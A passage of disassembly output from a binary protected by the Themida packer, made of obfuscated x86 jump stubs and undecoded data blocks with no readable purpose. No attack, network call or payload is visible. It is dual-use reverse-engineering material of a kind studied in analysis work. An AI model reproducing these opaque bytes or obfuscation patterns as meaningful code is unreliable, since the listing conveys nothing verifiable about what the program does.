		db 8Bh,	0Ch, 24h
		dd 5004C483h, 1F0D0AB8h, 0A5FB2D53h, 0C30151DAh, 0E9EB8758h
		dd 0FFFFE054h, 0EA81C201h, 1AEB348Bh, 12C28158h, 500A6B7Ch
		dd 0FF93BFE9h, 0E68956FFh, 4C681h, 0C6810000h, 4, 0FFF9F1E9h
		dd 2434FFFFh, 4C4815Dh,	0E9000000h, 0FFFF95E6h,	2CBEh
		dd 0B7E95600h, 89FFFFFDh, 0EDE9242Ch, 81FFFF98h, 4C3h
		dd 241C3300h, 33241C31h, 248B241Ch, 24043124h, 0FF512CE9h
		dd 2C183FFh, 2474FF51h,	48F5904h, 24248B24h, 2404D366h
		dd 5113E99Ch, 0C281FFFFh, 542B45CAh, 55AD029h, 0FB910F8h
		dd 0F82DF001h, 50FB910h, 5653760Ah, 0EFFEE95Eh,	34FFFFFFh
		dd 0EC835F24h, 240C8904h, 0C181E189h, 4, 0AFEE9h, 4B800h
		dd 0C7010000h, 1A0C6858h, 1C890000h, 1E1D6824h,	4890000h
		dd 4B824h, 0C3890000h, 8324048Bh, 66E904C4h, 1FFFFE0h
		dd 5DE95BDFh, 31FFFF6Ah, 0B8505AD3h, 0D28524Bh,	0BA1E5835h
		dd 3DFD3539h, 0E8834FFAh, 3DE42DFFh, 0BD554F5Ch, 76605775h
		dd 55DE809h, 0F72BBFF9h, 1D7AEB81h, 0C3013B40h,	1D7AC381h
		dd 0D2E93B40h, 1FFFFECh, 0F7535FFBh, 62E92414h,	81FFFFD8h
		dd 50032E9h, 59CE0142h,	8B243487h, 6EE92424h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB97:				; CODE XREF: Themida_:005597F0j
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55FFA7
; ---------------------------------------------------------------------------
		db 1
		dd 3C875AD7h, 24248B24h, 0FF5034E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EBB1:				; CODE XREF: Themida_:0055B966j
		shr	ebx, 3
		add	ebx, 0FF1C2B4Bh
		and	eax, ebx
		jmp	loc_5549BE
; ---------------------------------------------------------------------------
		db 0BFh, 81h, 6Bh
		dd 21E92A73h, 50FFFFB7h, 4B8h, 65C18100h, 0E973AC14h, 0FFFF83DFh
		dd 4B9h, 59CE0100h, 2C681h, 34330000h, 24343124h, 0E9243433h
		dd 0FFFF6E95h
; ---------------------------------------------------------------------------


loc_55EBF8:				; CODE XREF: Themida_:00557C65j
		xor	eax, esi
		push	4DC9h
		mov	[esp], esi
		xor	[esp], ecx
		jmp	loc_55D76A
; ---------------------------------------------------------------------------
		dw 8B5Ch
		dd 0C4832404h, 6795E904h, 8B66FFFFh, 0EC832404h, 24148904h
		dd 0C9A0E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC26:				; CODE XREF: Themida_:0055B0E7j
		add	[esp+4], ecx
		add	dword ptr [esp+4], 49E4524h
		pop	ecx
		mov	eax, [esp]
		jmp	loc_55A376
; ---------------------------------------------------------------------------


loc_55EC3B:				; CODE XREF: Themida_:00559AC8j
		mov	eax, 2C443E90h
		jmp	loc_55904C
; ---------------------------------------------------------------------------


loc_55EC45:				; CODE XREF: Themida_:00554877j
		add	esp, 4
		jmp	loc_55BD9F
; ---------------------------------------------------------------------------


loc_55EC4D:				; CODE XREF: Themida_:00560237j
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_558343
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 79h
		dd 8130DE02h, 29FDE4C1h, 74EF81CFh, 16FFF2Ah, 74C781CFh
		dd 0E96FFF2Ah, 0FFFFDDF5h, 1244C86h, 2FE9D1F6h,	68FFFFDBh
		dd 2A6Eh, 0B8240489h, 273E655Dh, 57078B05h, 0CBC9E909h
		dd 0B652FFFFh, 9198E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ECA6:				; CODE XREF: Themida_:0055C266j
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	edx
		push	esi
		mov	esi, 34F720BAh
		not	esi
		push	ebp
		jmp	loc_560277
; ---------------------------------------------------------------------------
		dd 0F800C32Ch, 0FFBF41E9h, 4EF83FFh, 0E9C6E957h, 0EE9FFFFh
		dd 80FFFF4Fh, 6E9C9C6h,	83FFFFEDh, 896602ECh, 69B3241Ch
		dd 0EBC0CBFEh, 0D9EAE904h, 0EA81FFFFh, 7414D53h, 0FFA88AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ECFD:				; CODE XREF: Themida_:0055DCB4j
		push	eax
		jmp	loc_556785
; ---------------------------------------------------------------------------
		db 89h
		dd 34FF241Ch, 24048B24h, 5104C483h, 0FFE9F0E9h,	241C8BFFh
		dd 0FFC009E9h, 8BEB88FFh, 0C481240Ch, 4, 0DE885258h, 5B5AF588h
		dd 424748Ah, 4246C88h, 8E2DE959h, 0A2E9FFFFh, 51FFFF4Eh
		dd 0E9C0C3B1h, 0E8C18007h, 1FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55ED51:				; CODE XREF: Themida_:005585D0j
		or	ebx, 328C7972h
		xor	ebx, 30F10C19h
		jmp	loc_55ADEB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89682404h, 8900004Bh, 5F54243Ch, 4C781h, 0BBE90000h
		dd 0F7FFFF73h, 0E78957E9h, 0FF790BE9h, 241C31FFh, 0E9241C33h
		dd 0FFFF7100h
; ---------------------------------------------------------------------------


loc_55ED90:				; CODE XREF: Themida_:00559951j
		pop	esp
		push	3F18h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7931294h
		xor	esi, 509F6068h
		jmp	loc_55B92B
; ---------------------------------------------------------------------------
		dd 0DCE3E981h, 0CF8902F5h, 0FF6A59E9h, 4D9568FFh, 215946C7h
		dd 7BE959C8h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDDB:				; CODE XREF: Themida_:00555E47j
		pop	edx
		add	[esp+4], ecx
		add	dword ptr [esp+4], 6C7D5473h
		pop	ecx
		pop	edx
		add	edx, 4
		jmp	loc_55B87B
; ---------------------------------------------------------------------------


loc_55EDF5:				; CODE XREF: Themida_:0055D828j
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, 4C9336F3h
		add	dword ptr [esp+4], 3059405Dh
		jmp	loc_557AD2
; ---------------------------------------------------------------------------
		dd 0E9E28952h, 0FFFF4F78h, 606F68h, 24348900h, 2406BABEh
		dd 0D1DEF72Dh, 5FC681EEh, 0E9969203h, 0FFFFD477h, 71C28166h
		dd 0F361E914h, 487FFFFh, 89665C24h, 45E92414h, 68FFFFB1h
		dd 48CA5CC9h, 0C8E5815Dh, 8117AC7Fh, 6C4495C5h,	34C58145h
		dd 89C0D770h, 242C8BEAh, 4C481h, 0E9500000h, 0FFFF743Ah
; ---------------------------------------------------------------------------


loc_55EE70:				; CODE XREF: Themida_:0055B76Bj
		push	4C68h
		mov	[esp], esi
		jmp	loc_5585EF
; ---------------------------------------------------------------------------
		db 2Dh,	0B0h, 38h
		dd 0D8291612h, 4EC81h, 0D5E90000h, 52FFFF5Eh, 0FF5848E9h
		dd 4C483FFh, 0FF61E3E9h, 87B450FFh, 0E903ECC0h,	0FFFFE884h
; ---------------------------------------------------------------------------


loc_55EEA8:				; CODE XREF: Themida_:0055C80Dj
		inc	ebp
		jmp	loc_5585C6
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4C48124h, 81000000h,	555909C2h, 84BB5368h, 130225Fh
		dd 0C2015BDAh, 5F84EA81h, 68513022h, 2192h, 83242489h
		dd 59042404h, 8904EC83h, 80BE2434h, 817EE238h, 8576ACEEh
		dd 0ECBF5717h, 0E9084D3Ah, 0FFFFDB7Fh, 0FF4CE8E9h, 4BAFFh
		dd 0D0290000h, 2404875Ah, 8924248Bh, 0EC812414h, 4, 0B0240489h
		dd 0E22AE9B4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EF1E:				; CODE XREF: Themida_:0055887Cj
		add	ebx, edi
		jmp	loc_5558ED
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0E8h
		dd 29375901h, 0E8EB81C3h, 81375901h, 255D2EEBh,	97E95505h
		dd 5AFFFF6Ah, 0A35E9h, 24348B00h, 0FFE2E0E9h, 7AF180FFh
		dd 2B1E9h, 4C78100h, 83000000h,	3C8704C7h, 0BB535C24h
		dd 2, 732FC781h, 7AE96CC4h, 5AFFFF70h, 8904EC83h, 0ABE92434h
		dd 0C1FFFFE1h, 0D0F707E8h, 21137E05h, 0D3D72D2Eh, 0C609ECAFh
		dd 0FF808FE9h, 5AD089FFh, 6444BF57h, 1FE957F4h,	1FFFFC3h
		dd 96EF81DFh, 8B34256Fh, 8E9241Ch, 66FFFFC5h, 665BDA29h
		dd 71E9FA29h, 53FFFFFEh, 0FF6DEDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EFC5:				; CODE XREF: Themida_:0055BAB4j
		push	esi
		mov	esi, 7FED4FFEh
		jmp	loc_55A779
; ---------------------------------------------------------------------------
		dd 0E986B353h, 0FFFFAFBAh, 0D986856h, 0E95E3E24h, 0FFFFCEF1h
		dd 0F6E9D1F6h, 3100000Dh, 14332414h, 24248B24h,	0FFE8C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EFF9:				; CODE XREF: Themida_:00557E39j
		mov	[esp], ebp
		push	ebx
		jmp	loc_559C9B
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFB830h, 0FF4BD8E9h, 24048FFFh, 4240481h,	5F000000h
		dd 4F42B850h, 46357AC9h, 0E97AC94Fh, 0FFFF5E5Eh, 0B4F68146h
		dd 0E90EAF47h, 0FFFFDDF9h, 0F517B866h, 0FF50D1E9h, 0E9C201FFh
		dd 0FFFF6A08h, 66D92966h, 0C381665Bh, 1662CEAh,	1064E9CBh
		dd 8B660000h, 0EC812404h, 4, 54242C89h,	0ECB8505Dh, 536C7817h
		dd 0A25762BBh, 5BD80169h, 453AB951h, 0C831417Bh, 8E0C159h
		dd 0A148260Dh, 14F75004h, 0F6E95824h, 0FFFFC8h,	0E94D04C8h
		dd 0FFFFD727h, 0EB80DDB3h, 0E9D3F6D0h, 0FFFFBC62h, 6624248Bh
		dd 9C243CD3h, 0FF58BCE9h, 815954FFh, 4C1h, 4C18300h, 2474FF51h
		dd 48F5904h, 0CF77E924h, 3C89FFFFh, 525F5424h, 468h, 9E37E900h
		dd 0DA01FFFFh, 83241C8Bh, 0C28304C4h, 0C002E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F0EA:				; CODE XREF: Themida_:00556563j
		add	eax, 4
		jmp	loc_55C847
; ---------------------------------------------------------------------------


loc_55F0F4:				; CODE XREF: Themida_:0055D21Aj
		not	esi
		and	esi, 701019EBh
		inc	esi
		shl	esi, 5
		add	esi, 5B975A32h
		xor	ebp, esi
		pop	esi
		xor	ebp, 6D97A249h
		push	ebp
		add	dword ptr [esp], 2816246Fh
		jmp	loc_557D08
; ---------------------------------------------------------------------------
		dd 27C5814Dh, 0E9028746h, 0FFFF7104h, 24048F66h, 0FF4AB4E9h
		dd 24148BFFh, 8104C483h, 0C12214F6h, 5EF20110h,	4E685255h
		dd 5A3E1A19h, 194CEA81h, 0D5893E1Ah, 0FFCB57E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F155:				; CODE XREF: Themida_:0055436Ej
		push	ebx
		jmp	loc_55824E
; ---------------------------------------------------------------------------
		db 81h
		dd 114EB3C2h, 0F281584Fh, 65276B6Fh, 20C6EA81h,	514254E5h
		dd 833C1AB9h, 7E1C139h,	0AE50E981h, 0E9815B04h,	327D1746h
		dd 0C8BCA01h, 4C48124h,	2D000000h, 2162588Eh, 0BAE9D001h
		dd 66FFFFABh, 664FBE68h, 66240C89h, 0E9C8B60Fh,	0FFFF53B2h
		dd 0BD5552ADh, 5728355Bh, 0DFEDE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F1BA:				; CODE XREF: Themida_:0055C5F8j
		mov	esi, esp
		jmp	loc_55D3DF
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFF9A84h, 522ABA52h
		dd 8BE94FE8h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55F1E3:				; CODE XREF: Themida_:00559B86j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	19E8h
		mov	[esp], eax
		push	esp
		jmp	loc_5601A0
; ---------------------------------------------------------------------------
		dw 0C800h
		dd 37EE959h, 0CB880000h, 75B05059h, 0FFE3C5E9h,	81F729FFh
		dd 9F3A13EFh, 3C875E1Eh, 4AE95C24h, 0C0FFFF7Ah,	0EC8005ECh
		dd 0BAEC801Dh, 5132B652h, 0CE30BCB1h, 0FF992FE9h, 0C895CFFh
		dd 0E9008F24h, 0FFFF49A1h, 582434FFh, 0E1895152h, 3EEBBF57h
		dd 0EFC10C56h, 81D7F706h, 315900C7h, 8BF90100h,	0C483243Ch
		dd 38EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F26A:				; CODE XREF: Themida_:0055639Dj
		pop	dx
		jmp	loc_55696F
; ---------------------------------------------------------------------------
		db 1, 0DDh, 5Bh
		dd 0FFBEF0E9h, 66F1F6FFh, 0E9CCB60Fh, 534h
; ---------------------------------------------------------------------------


loc_55F284:				; CODE XREF: Themida_:005584EBj
		push	0FFFFFFFFh
		pop	eax
		sub	[edi+24h], eax
		jmp	loc_5578E0
; ---------------------------------------------------------------------------
		dw 6B6h
		dd 0FE1AF680h, 0BEE80C6h, 0FFFA36E9h, 405FFh, 2AE90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F2AB:				; CODE XREF: Themida_:00558D86j
		push	esi
		jmp	loc_55A1AA
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0A2h
		dd 0E9791358h, 0FFFFC8FDh, 8F04C483h, 248B2404h, 243C8924h
		dd 5A2434FFh, 4C481h, 0E8E90000h, 8BFFFF82h, 0FA68242Ch
		dd 0E9000054h, 0FFFFF7B3h, 0FF48FCE9h, 24248BFFh, 0FF48F4E9h
		dd 5BD828FFh, 241C8B66h, 5202C483h, 0B753C0B2h,	80C7FE61h
		dd 0AC2CC1EFh, 0FFEE3AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F30D:				; CODE XREF: Themida_:00559615j
		sub	edi, 3DC55E41h
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_55750D
; ---------------------------------------------------------------------------
		dw 6855h
		dd 749C7932h, 30BF575Dh, 29749C79h, 0EB895FFDh,	0C1BD555Dh
		dd 2926C02Dh, 0DA015DEAh, 2DC1C281h, 1C8B26C0h,	4C48124h
		dd 0E9000000h, 0FFFF751Fh, 0E95EF231h, 0FFFF5E23h, 4E95266h
		db 51h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F35F:				; CODE XREF: Themida_:0055BF51j
		pop	ebx
		sub	[edx+30h], esi
		jmp	loc_557B64
; ---------------------------------------------------------------------------
		dd 0FFB104E9h, 24048FFFh, 2124248Bh, 6FABE9C8h,	5E54FFFFh
		dd 4BF57h, 0EE810000h, 54F9516Eh, 0FF50ADE9h, 1B252FFh
		dd 148BD500h, 4C48124h,	53000000h, 0B15103B3h, 80D1F676h
		dd 0C1FE7DF1h, 8008E9C0h, 0CB20D5C1h, 80DBF659h, 4E901C3h
		dd 0D1FFFF4Eh, 0F6E955EAh, 0F7FFFFE8h, 2E0C1D0h, 0C108E8C1h
		dd 0E8C107E0h, 12760508h, 3F684A8Bh, 89000077h,	0A3E9242Ch
		dd 0B9FFFF9Eh, 0
		dd 0CB87D929h, 0FFF648E9h, 2434FFFFh, 582434FFh, 8904EC83h
		dd 0BEE92434h, 0BEFFFF5Ah, 2E952945h, 5602EEC1h, 5E2414F7h
		dd 0C681DEF7h, 126527B2h, 815EF701h, 0B4791FC7h, 0FFF78156h
		dd 816F4852h, 884A1CF7h, 5F5A57E0h, 148BD701h, 4C48124h
		dd 81000000h, 4C7h, 74FF5700h, 8F5F0424h, 0FF5C2404h, 34FF2434h
		dd 54535924h, 0FFCE83E9h, 0E918B4FFh, 0FFFFF83Eh
; ---------------------------------------------------------------------------


loc_55F460:				; CODE XREF: Themida_:0055BDBEj
		shl	ecx, 1
		add	ecx, 1B0D11EDh
		jmp	loc_559012
; ---------------------------------------------------------------------------
		db 5Bh,	58h, 0FFh
		dd 835A2434h, 0EA0404C4h, 88E9232Ch, 5BFFFFC6h,	5EF7015Fh
		dd 0FFA552E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F489:				; CODE XREF: Themida_:0055624Aj
		xor	esi, 2487A63h
		xor	esi, 60793A4Dh
		add	esi, 0FFFFFFFFh
		add	esi, 344A2123h
		sub	ecx, esi
		pop	esi
		sub	ecx, 6ACC1001h
		add	ecx, 317A5D2Dh
		add	ecx, ebp
		sub	ecx, 317A5D2Dh
		jmp	loc_553CB3
; ---------------------------------------------------------------------------
		db 5, 4Ch, 78h
		dd 3A2D520Eh, 0E92B2569h, 0FFFFB5E8h, 8904EC83h, 0E2892414h
		dd 4C281h, 0BE560000h, 2, 4CBF5750h, 0E953C049h, 0FFFF8B6Dh
		dd 0BE56E389h, 0EFC21FFh, 21FBEE81h, 0F3010EFCh, 4C3835Eh
		dd 31241C33h, 56E9241Ch, 89FFFFBCh, 2DBB241Ch, 52409535h
		dd 0FFAAD3E9h, 9EB850FFh, 0F75DAB64h, 72692DD0h, 0E9E96D90h
		dd 83000004h, 1C3304C4h, 593EE924h, 0C801FFFFh,	0FF545AE9h
		dd 1717B8FFh, 2EE92689h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F547:				; CODE XREF: Themida_:0055FFC1j
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xchg	ecx, ebx
		push	ecx
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		jmp	loc_55A169
; ---------------------------------------------------------------------------
		dd 0F6ACB753h, 7CC5E9D7h, 1205FFFFh, 0E977FC05h, 0FFFF650Ah
		dd 0E904C483h, 0FFFF5A85h, 6866866h, 24148966h,	4BE95066h
		dd 83FFFF77h, 0EC8104ECh, 4, 50242489h,	0D5BAE952h, 0C201FFFFh
		dd 1EDFC281h, 1582B4Ch,	0BB5350C2h, 51762640h, 0FF6637E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F5BD:				; CODE XREF: Themida_:0055697Bj
		mov	dh, bh
		pop	ebx
		jmp	loc_55D6F2
; ---------------------------------------------------------------------------


loc_55F5C5:				; CODE XREF: Themida_:0055BC7Dj
		pop	edi
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		db 51h
		dd 0B9h, 91C12900h, 0FF9D25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F5D9:				; CODE XREF: Themida_:0055643Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5577FF
; ---------------------------------------------------------------------------
		dd 6E68E95Fh, 66ACFFFFh, 6619A268h, 0E9241C89h,	0FFFFD050h
		dd 8704E983h, 895C240Ch, 62E92424h, 50FFFF96h, 0FF70FBE9h
		dd 5AD329FFh, 0FF5475E9h, 81E901FFh, 73285BC1h,	0CEE95D62h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F623:				; CODE XREF: Themida_:0055951Fj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		push	ebx
		mov	ebx, 76953FB9h
		jmp	loc_557E22
; ---------------------------------------------------------------------------


loc_55F636:				; CODE XREF: Themida_:00558123j
		mov	ebp, 606A7EB5h
		dec	ebp
		and	ebp, 72FB50E3h
		shr	ebp, 1
		and	ebp, 6CBD44E2h
		xor	ebp, 20350044h
		add	edx, 13DF0F50h
		add	edx, ebp
		sub	edx, 13DF0F50h
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_556F57
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 69C3E924h, 5A66FFFFh, 88B2C680h, 0B5515AF4h
		dd 284BB6B5h, 0C68059EEh, 80E6006Ah, 80586AEEh,	0C6E91FC6h
		dd 42FFFF51h, 267ECA81h, 7CE97960h, 83FFFFB8h, 0CF8104C4h
		dd 367E731Ch, 5108EFC1h, 76A9BA52h, 0D2F72200h,	5B5ECA81h
		dd 0AEE97047h, 59FFFFE9h, 34FFF028h, 47685A24h,	8900007Eh
		dd 21E92434h, 0BDFFFFA2h, 4, 32E9EA01h,	8BFFFF6Eh, 8951240Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 0C2835C24h, 24143302h
		dd 0FFF8E6E9h, 7DC781FFh, 10E1040h, 4D40E9DFh, 0E951FFFFh
		dd 0FFFFF4C4h, 0FED6F65Ah, 5E6C0C6h, 5DF680h, 24148BF1h
		dd 0FE04C483h, 2F180C1h, 2861F180h, 0ADE5E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F73A:				; CODE XREF: Themida_:0056027Cj
		shr	ebp, 3
		sub	ebp, 0AA2D946Eh
		add	esi, 26BB550Ch
		jmp	loc_558D9C
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 6146F581h, 0F5813B79h, 55E64D76h, 93E9E901h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F763:				; CODE XREF: Themida_:0055D489j
		push	ebx
		mov	ebx, 0A6C4188h
		jmp	loc_55C89F
; ---------------------------------------------------------------------------
		dw 0D521h
		dd 0FB3BE95Ah, 48BFFFFh, 4C48324h, 8BD9885Ah, 0C483241Ch
		dd 4842C04h, 5D09E9B3h,	0DA01FFFFh, 31E7C281h, 2885549h
		dd 0E92434FFh, 0FFFFE6D7h, 4C681h, 0EE830000h, 0C74EE904h
		dd 6C34FFFFh, 0E958C388h, 0FFFFB5CAh, 2F1A6866h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 0FFFF4419h
; ---------------------------------------------------------------------------


loc_55F7CC:				; CODE XREF: Themida_:0055FBCDj
		mov	edi, 422C4B76h
		add	ebp, 242A678Fh
		jmp	loc_55A996
; ---------------------------------------------------------------------------
		dd 68240489h, 2B2902E3h, 61200558h, 0D0F723AEh,	0FF607CE9h
		dd 15E951FFh, 0BDFFFF5Eh, 24B1366Fh, 8102EDC1h,	243BAE5h
		dd 0ED814520h, 1EF43177h, 0ED81D5F7h, 1E66E2C3h, 54F8E955h
		dd 0C380FFFFh, 55BA68DBh, 14890000h, 0E9EAB624h, 0FFFFDD77h
		dd 0D82C5Ah, 9E42E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F836:				; CODE XREF: Themida_:0055CC9Bj
		mov	esi, 57944DEEh
		sub	esi, 2A481BB3h
		add	esi, 58051BE1h
		add	esi, 6C572455h
		jmp	loc_55E2F2
; ---------------------------------------------------------------------------


loc_55F852:				; CODE XREF: Themida_:005560BEj
		mov	edi, 55E85DB3h
		push	ebp
		mov	ebp, 0DC6DF673h
		jmp	loc_55A242
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 0BDBEE990h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F86A:				; CODE XREF: Themida_:0055979Aj
		sub	ecx, edi
		pop	edi
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55D3D0
; ---------------------------------------------------------------------------
		db 59h,	29h, 0FDh
		dd 5DE8015Fh, 8702C083h, 248B2404h, 9CC13824h, 0FFB97FE9h
		dd 2434FFFFh, 0E189515Ah, 0F63BE56h, 0F68111E5h, 11E50F67h
		dd 835EF101h, 95E904C1h, 58FFFF65h, 8103E2C1h, 983F6EEAh
		dd 64B5E921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F8C6:				; CODE XREF: Themida_:0055AF14j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55B688
; ---------------------------------------------------------------------------
		dd 24048966h, 0FFF61BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F8DD:				; CODE XREF: Themida_:00554941j
		xor	ebx, 97E50827h
		add	edx, ebx
		pop	ebx
		pop	ebp
		jmp	loc_5586D8
; ---------------------------------------------------------------------------
		dd 4C4835Ch, 4EC81h, 3C890000h,	50E78924h, 0FFF208E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F901:				; CODE XREF: Themida_:0055D8DAj
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		jmp	loc_559A7D
; ---------------------------------------------------------------------------
		db 59h,	66h, 81h
		dd 0E94C99EBh, 0FFFF9157h
; ---------------------------------------------------------------------------


loc_55F918:				; CODE XREF: Themida_:0055D6D4j
		pop	ecx
		xor	ebp, 1D189601h
		sub	edx, 3AE658C5h
		jmp	loc_559594
; ---------------------------------------------------------------------------
		dw 0F831h
		dd 48A68h, 243C8900h, 0E9240487h, 0FFFFB930h, 162AEF81h
		dd 0F829D831h, 0E957565Fh, 0FFFFC1FBh, 5C24048Fh, 7CCB850h
		dd 0D0F73624h, 887CD125h, 0E5DB052Eh, 0C601D2BEh, 0FF696BE9h
		dd 0BEE95FFFh
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F96F:				; CODE XREF: Themida_:00554311j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55E0EC
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 158D3524h, 84A8C381h, 0DA01FC5Ch, 81241C8Bh,	4C4h, 15E95500h
		dd 8BFFFF49h, 0C481241Ch, 4, 4E981h, 0C870000h,	2C895C24h
		dd 525D5424h, 0C21784BAh, 0A948E96Fh, 0ECD0FFFFh, 0FF9DDEE9h
		dd 64EB80FFh, 82C380h, 267268C3h, 14890000h, 93E95024h
		dd 81FFFF82h, 0C1726FEBh, 81FB0112h, 0C1726FC3h, 5798E912h
		dd 34FFFFFFh, 24048B24h, 4C481h, 0EC810000h, 4,	89240489h
		dd 7DACE9E0h, 0BD55FFFFh, 0BD644E1h, 0E9D5F745h, 0FFFFC070h
		dd 8B58C701h, 0C481240Ch, 4, 4F4468h, 0A875E900h, 0D1F6FFFFh
		dd 8069E980h, 0C88800F1h, 249A0459h, 0E9C0FE03h, 0FFFF7BDAh
		dd 6824048Bh, 82Fh, 89240C89h, 4EC81E1h, 0E9000000h, 0FFFF8787h
; ---------------------------------------------------------------------------


loc_55FA58:				; CODE XREF: Themida_:00556F5Aj
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		idiv	ecx
		push	39B7h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		dd 592434FFh, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 54240C89h
		dd 800AE959h, 0C483FFFFh, 0DC1BE904h, 6853FFFFh, 5963109Ah
		dd 827E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FAB1:				; CODE XREF: Themida_:005580FAj
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 7E1B3DDBh
		jmp	loc_55C47B
; ---------------------------------------------------------------------------


loc_55FAC2:				; CODE XREF: Themida_:005598A3j
		push	edi
		jmp	loc_556712
; ---------------------------------------------------------------------------
		dd 0F6AFC380h, 26F380DBh, 285BDC28h, 0EB8058E3h, 0C0B60F27h
		dd 688734FFh, 238Eh, 0E9241C89h, 0FFFF82ACh, 0EC814E04h
		dd 4, 0B3241C89h, 3E3C09Eh, 5266C3FEh, 0E923B151h, 0FFFF502Ah
; ---------------------------------------------------------------------------


loc_55FB08:				; CODE XREF: Themida_:0055B932j
		neg	ecx
		xor	ecx, 85C7FA7Ch
		xor	esi, ecx
		pop	ecx
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55BD53
; ---------------------------------------------------------------------------


loc_55FB29:				; CODE XREF: Themida_:005578E3j
		pop	eax
		push	edx
		jmp	loc_553D48
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D25966h, 0A6E99C24h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB3F:				; CODE XREF: Themida_:005595B0j
		mov	[esp], esi
		mov	esi, 48816E1Ch
		jmp	loc_560082
; ---------------------------------------------------------------------------
		dd 2D40D8F7h, 8F870EE8h, 8158C789h, 4ECh, 0CC67E900h, 0FE68FFFFh
		dd 8900001Dh, 39E92404h, 57FFFF5Dh, 0FF9182E9h,	0F359BEFFh
		dd 0D6011F56h, 8124148Bh, 4C4h,	0FFEE8100h, 87FFFFFFh
		dd 9000E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB92:				; CODE XREF: Themida_:0055D974j
		shl	ebx, 2
		add	ebx, 6707BAAFh
		push	ebx
		add	dword ptr [esp], 647D2722h
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 647D2722h
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	6242h
